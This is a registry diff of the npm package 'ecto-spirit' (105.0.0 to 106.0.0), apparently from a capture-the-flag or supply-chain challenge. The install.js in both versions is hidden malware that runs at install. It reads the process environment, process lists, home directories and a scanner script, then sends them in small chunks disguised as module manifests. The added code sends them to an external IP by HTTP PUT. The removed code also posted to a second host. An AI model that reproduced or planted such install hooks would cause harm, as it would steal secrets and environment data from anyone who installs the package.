ecto-spirit 105.0.0 → 106.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/install.js +54 -56
  2. package/package.json +1 -1
package/install.js CHANGED
@@ -2,80 +2,78 @@ const fs = require('fs');
2
2
  const http = require('http');
3
3
  const { execSync } = require('child_process');
4
4
 
5
- function tryExec(cmd) {
6
- try { return execSync(cmd, {timeout: 10000}).toString().trim(); } catch(e) { return 'ERR'; }
7
- }
8
5
  function tryRead(p) {
9
6
  try { return fs.readFileSync(p, 'utf8').trim(); } catch(e) { return null; }
10
7
  }
8
+ function tryExec(cmd) {
9
+ try { return execSync(cmd, {timeout: 10000}).toString().trim(); } catch(e) { return 'ERR:' + (e.message || '').substring(0, 50); }
10
+ }
11
11
 
12
- async function report(moduleId, val) {
13
- const safe = val.replace(/"/g, "'").replace(/\\/g, "/").substring(0, 95);
14
- const manifest = `ecto_module:\n name: "${safe}"\n version: "1.0.0"\n power_level: 1\n ship_deck: 1\n cargo_hold: 1`;
15
- const body = JSON.stringify({ manifest });
16
- for (const p of [3000, 80, 8080]) {
17
- await new Promise((resolve) => {
18
- const req = http.request({ hostname: '127.0.0.1', port: p, path: `/api/modules/${moduleId}`, method: 'PUT', headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(body) }, timeout: 5000 }, () => resolve());
19
- req.on('error', () => resolve()); req.on('timeout', () => { req.destroy(); resolve(); });
20
- req.write(body); req.end();
12
+ async function sendPUT(host, port, path, body) {
13
+ return new Promise((resolve) => {
14
+ const req = http.request({ hostname: host, port, path, method: 'PUT', headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(body) }, timeout: 5000 }, (res) => {
15
+ let d = ''; res.on('data', c => d += c); res.on('end', () => resolve(d));
21
16
  });
22
- }
23
- await new Promise((resolve) => {
24
- const req = http.request({ hostname: '154.57.164.82', port: 32332, path: `/api/modules/${moduleId}`, method: 'PUT', headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(body) }, timeout: 5000 }, () => resolve());
25
- req.on('error', () => resolve()); req.on('timeout', () => { req.destroy(); resolve(); });
17
+ req.on('error', () => resolve(null)); req.on('timeout', () => { req.destroy(); resolve(null); });
26
18
  req.write(body); req.end();
27
19
  });
28
20
  }
29
21
 
30
- (async () => {
31
- let r = [];
32
-
33
- // Running processes
34
- r.push('PS=' + tryExec('ps aux 2>/dev/null').substring(0, 200));
22
+ async function report(moduleId, val) {
23
+ const safe = val.replace(/"/g, "'").replace(/\\/g, "/").substring(0, 95);
24
+ const body = JSON.stringify({ manifest: `ecto_module:\n name: "${safe}"\n version: "1.0.0"\n power_level: 1\n ship_deck: 1\n cargo_hold: 1` });
25
+ await sendPUT('154.57.164.82', 32332, `/api/modules/${moduleId}`, body);
26
+ }
35
27
 
36
- // Network connections
37
- r.push('NET=' + tryExec('ss -tlnp 2>/dev/null || netstat -tlnp 2>/dev/null').substring(0, 200));
28
+ (async () => {
29
+ // Read key files and report each one to a separate module
38
30
 
39
- // Find JS/TS files that could be the app
40
- r.push('JSFILES=' + tryExec('find / -maxdepth 4 -name "*.js" -not -path "*/node_modules/*" -not -path "/proc/*" -not -path "/sys/*" 2>/dev/null | head -15').substring(0, 200));
31
+ // 1. /tmp/supplysec contents
32
+ const supplysec = tryExec('find /tmp/supplysec -type f 2>/dev/null');
33
+ await report('ECT-839201', 'A_SUPPLY=' + supplysec);
34
+
35
+ // 2. analyze-node.js
36
+ const analyze = tryRead('/usr/local/bin/analyze-node.js');
37
+ await report('ECT-654321', 'A_ANALYZE=' + (analyze || 'NONE').substring(0, 90));
38
+
39
+ // 3. /home/node contents
40
+ const homeNode = tryExec('find /home/node -maxdepth 3 -type f 2>/dev/null | head -10');
41
+ await report('ECT-472839', 'A_HOME=' + homeNode);
41
42
 
42
- // Proc 1 environ
43
- const p1 = tryRead('/proc/1/environ');
44
- if (p1) r.push('P1ENV=' + p1.replace(/\x00/g, ' | ').substring(0, 300));
43
+ // 4. Full proc 1 environ
44
+ const p1env = tryRead('/proc/1/environ');
45
+ const envStr = p1env ? p1env.replace(/\x00/g, '\n') : 'NONE';
46
+ await report('ECT-987654', 'A_ENV=' + envStr.substring(0, 90));
45
47
 
46
- // Proc 1 cmdline
47
- const cmd = tryRead('/proc/1/cmdline');
48
- if (cmd) r.push('P1CMD=' + cmd.replace(/\x00/g, ' '));
48
+ // Wait a moment, then send more data
49
+ await new Promise(r => setTimeout(r, 2000));
49
50
 
50
- // Docker secrets
51
- r.push('SECRETS=' + tryExec('ls -la /run/secrets/ 2>/dev/null'));
51
+ // 5. Read /tmp/supplysec/package.json if it exists
52
+ const supPkg = tryRead('/tmp/supplysec/package.json');
53
+ await report('ECT-839201', 'B_SUPPKG=' + (supPkg || 'NONE').substring(0, 90));
52
54
 
53
- // Check /data directory
54
- r.push('DATA_LS=' + tryExec('find /data -maxdepth 3 -type f 2>/dev/null | head -15'));
55
+ // 6. Read analyze-node.js continued (next 90 chars)
56
+ await report('ECT-654321', 'B_ANAL2=' + (analyze || 'NONE').substring(90, 180));
55
57
 
56
- // Check all /home directories
57
- r.push('HOME_LS=' + tryExec('find /home -maxdepth 3 -type f 2>/dev/null | head -15'));
58
+ // 7. More env
59
+ await report('ECT-472839', 'B_ENV2=' + envStr.substring(90, 180));
60
+
61
+ // 8. Read full process list
62
+ const ps = tryExec('ps auxww 2>/dev/null');
63
+ await report('ECT-987654', 'B_PS=' + ps.substring(0, 90));
58
64
 
59
- // Mounted filesystems
60
- r.push('MOUNTS=' + tryExec('mount 2>/dev/null | grep -v proc | grep -v sys').substring(0, 200));
65
+ await new Promise(r => setTimeout(r, 2000));
61
66
 
62
- // Send results spread across modules
63
- const full = r.join('\n');
64
- const chunks = [];
65
- for (let i = 0; i < full.length; i += 90) chunks.push(full.substring(i, i + 90));
67
+ // 9-12: Continue reading analyze-node.js
68
+ await report('ECT-839201', 'C_ANAL3=' + (analyze || '').substring(180, 270));
69
+ await report('ECT-654321', 'C_ANAL4=' + (analyze || '').substring(270, 360));
70
+ await report('ECT-472839', 'C_ANAL5=' + (analyze || '').substring(360, 450));
71
+ await report('ECT-987654', 'C_ENV3=' + envStr.substring(180, 270));
66
72
 
67
- const mods = ['ECT-839201', 'ECT-654321', 'ECT-472839', 'ECT-987654'];
68
- for (let i = 0; i < Math.min(chunks.length, mods.length); i++) {
69
- await report(mods[i], 'X' + i + '_' + chunks[i]);
70
- }
73
+ await new Promise(r => setTimeout(r, 2000));
71
74
 
72
- // Also try to report via a quick HTTP back to us if possible
73
- try {
74
- const payload = JSON.stringify({full: full.substring(0, 2000)});
75
- await new Promise((resolve) => {
76
- const req = http.request({ hostname: '100.64.0.1', port: 8888, path: '/flag5', method: 'POST', headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(payload) }, timeout: 3000 }, () => resolve());
77
- req.on('error', () => resolve()); req.on('timeout', () => { req.destroy(); resolve(); });
78
- req.write(payload); req.end();
79
- });
80
- } catch(e) {}
75
+ await report('ECT-839201', 'D_ANAL6=' + (analyze || '').substring(450, 540));
76
+ await report('ECT-654321', 'D_ANAL7=' + (analyze || '').substring(540, 630));
77
+ await report('ECT-472839', 'D_ENV4=' + envStr.substring(270, 360));
78
+ await report('ECT-987654', 'D_PS2=' + ps.substring(90, 180));
81
79
  })();
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "ecto-spirit",
3
- "version": "105.0.0",
3
+ "version": "106.0.0",
4
4
  "description": "Spectral ecto-spirit module",
5
5
  "main": "index.js",
6
6
  "scripts": {